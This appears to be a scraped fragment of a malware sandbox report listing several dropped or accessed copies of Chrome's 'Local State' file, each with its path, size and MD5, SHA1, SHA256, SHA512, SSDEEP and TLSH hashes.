T19842A52DAD14753FACCBD619FA62BB93E7F5202160942E84E6FC893D18E79CC2217007
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 e5c95c4f8b3203f78759f310ee0798ac55c20d2ade92697b2a6219964f36c51c
MD5 7f7ae47a49bd19b416e0fb299f8b7337
SHA1 63d4d65384254834142680ed3ca75ba5121333b8
SHA512 5daf370714f923381e7df5243525c8cecec7eb880ae949c5cbbba6c2bfe0ee14d31628be1f0b8026ac7cb75ee8cd780104632c168a23f85ed227384d5567bacd
SSDEEP 96:E7bJ0d+OBIsu/Fl3fIUKsI8NFIJSl8h4otop5PbDtB6tGyvELcbv6kRIDRNC39Ip:Wt0pB+fTbnNyiU2Xzt/cbCkRIDuCvZ
TLSH
T121C10A74A86C5C7B19F2A581B2432D43CEB8266BAC107E54EAEE5F0901E74EC5383667
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 de2f17044d158a2301f1486b7d76a11ce61598b665c25326b36a369d37c4bbc3
MD5 e4430536e485e4a55ba218f63fe47c07
SHA1 3313b3c9f82649bc86f8816211de41c815542d1a
SHA512 d1ddcb05d740b9901f9846ffce926b93fbb99b75c801691979ba3c947ec34eb6583be7ef7e335a13990a57efda6ecfc2bd132b504d00dad514b4ec8efcfffc3f
SSDEEP 96:E7C0d+OBIsu/Fl3fIUKsI8NFIJSl8h4otop5PbDtB6tGyvELc6w2h6QRIX0j9IA3:WC0pB+fTbnNyiU2Xzt/cFVQRIXUf3
TLSH
T170C11B31B8AC5CB755F29485F9432E53CFB462AB59109E60DBEA4F0D01EB1FC2382A16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 f5475821aea7d86e85c46cc67a60127c4948df103ed0b4ea8e36ad8d006685f0
MD5 e1dec53f793feabf13bb66047ab78e12
SHA1 30cff3026d81fe73d75e9a8cf85427c73e87f1a9
SHA512 778428235c08cadc08b89a12484be2a2ff79dce936948811175c86b7ddf1ef20e30c22211bed9b77650a01651f1051f5232e576d0b81dd7eb77c1f6878e20fdf
SSDEEP 96:E3C0d+OBIsu/Fl3fIUKsI8EnZIJRDotok5PiDtB6m8dGyvELkaAIrbuj1v4a:kC0pB+fTbnvDUD8z4w/JAIrbu1
TLSH
T16CA11A30A4B8887B55B5D5C4B5963E43CFB472A7E8109E80D9DE1F0D11BB1F82381A67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 4d362110e3286d26346fe8d673dc22f772561f00b75d00c8930b9993e0f35e90
MD5 8320ea13a6f5a4ed2bd13bbf7e2678ab
SHA1 1f19c79c194044e29d203e51bc056b381821a754
SHA512 043a94ca05444e6cc57a4aa8a9928e4216496b25ac52eb01afbfedd774956bfc033e5a9f70c0cbe18ccc1a066d3f286b9f3c59b5400ce7023c6f981340b21076
SSDEEP 96:E7bJ0d+OBIsu/Fl3fIUKsI8NFIJSl8h4otop5PbDtB6tGyvELc6w2h6QRIX0j9Ie:Wt0pB+fTbnNyiU2Xzt/cFVQRIXUf3
TLSH
T190C11B30B4AC5CB755F2A485F9432D53CFB462AB59109E60DBEA4F0D01EB1FC2382A17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download